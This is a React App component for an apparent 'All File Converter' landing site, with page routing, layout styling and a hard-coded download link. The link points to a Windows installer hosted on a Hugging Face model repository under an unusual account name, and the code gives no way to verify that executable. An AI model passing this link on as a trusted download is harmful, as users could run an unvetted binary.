/**
 * @license
 * SPDX-License-Identifier: Apache-2.0
 */

import { BrowserRouter, Routes, Route } from "react-router-dom";
import Navbar from "./components/Navbar";
import Footer from "./components/Footer";

// Multi-page routing views
import Home from "./pages/Home";
import Features from "./pages/Features";
import FAQ from "./pages/FAQ";
import Contact from "./pages/Contact";
import Support from "./pages/Support";
import Privacy from "./pages/Privacy";

export default function App() {
  const DOWNLOAD_URL = "https://huggingface.co/embedingHF/AFC/resolve/main/AllFileConverter_Setup.exe";

  return (
    <BrowserRouter>
      <div className="relative min-h-screen selection:bg-violet-100 selection:text-violet-900 bg-[#fbfbfd] flex flex-col justify-between">
        {/* Decorative top grid lines/accents */}
        <div className="absolute top-0 left-0 right-0 h-[450px] bg-gradient-to-b from-violet-50/20 via-transparent to-transparent pointer-events-none" />

        {/* Grid Pattern */}
        <div className="absolute inset-0 bg-[linear-gradient(to_right,#e2e8f0_1px,transparent_1px),linear-gradient(to_bottom,#e2e8f0_1px,transparent_1px)] bg-[size:4rem_4rem] [mask-image:radial-gradient(ellipse_60%_50%_at_50%_0%,#000_70%,transparent_100%)] opacity-20 pointer-events-none font-sans" />

        {/* Sticky glassmorphic navbar */}
        <Navbar downloadUrl={DOWNLOAD_URL} />

        {/* Main routing content layout */}
        <main className="w-full flex-grow pt-16">
          <Routes>
            <Route path="/" element={<Home downloadUrl={DOWNLOAD_URL} />} />
            <Route path="/features" element={<Features />} />
            <Route path="/faq" element={<FAQ />} />
            <Route path="/contact" element={<Contact />} />
            <Route path="/support" element={<Support />} />
            <Route path="/privacy" element={<Privacy />} />
          </Routes>
        </main>

        {/* Footer directories and legal disclosures */}
        <Footer />
      </div>
    </BrowserRouter>
  );
}
